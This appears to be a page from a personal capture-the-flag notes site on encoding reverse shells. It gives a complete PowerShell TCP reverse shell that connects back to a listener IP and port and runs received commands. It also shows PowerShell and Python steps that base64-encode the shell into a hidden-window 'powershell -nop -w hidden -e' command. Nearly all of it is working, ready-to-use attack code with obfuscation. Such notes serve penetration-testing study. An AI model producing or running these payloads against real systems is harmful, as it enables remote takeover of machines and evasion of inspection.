> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/reverse-shells/reverse-shell-encoding.md).

# Reverse Shell Encoding

## Base64 Encoding

### Encoding for use in PowerShell

Base64-encoding for use with the `-EncodedCommand` parameter in PowerShell

#### Encoding in PowerShell

1. Set the reverse shell as the `$Text` variable<br>

   ```powershell
   $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.248",12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
   ```
2. Convert to bytes<br>

   ```powershell
   $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
   ```
3. Base64 encode<br>

   ```powershell
   $EncodedText = [Convert]::ToBase64String($Bytes)
   ```
4. Verify result<br>

   ```powershell
   $EncodedText
   ```

#### Encoding in Python

Encoding of a reverse shell. Remember to update the IP and port!

```python
import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)
```
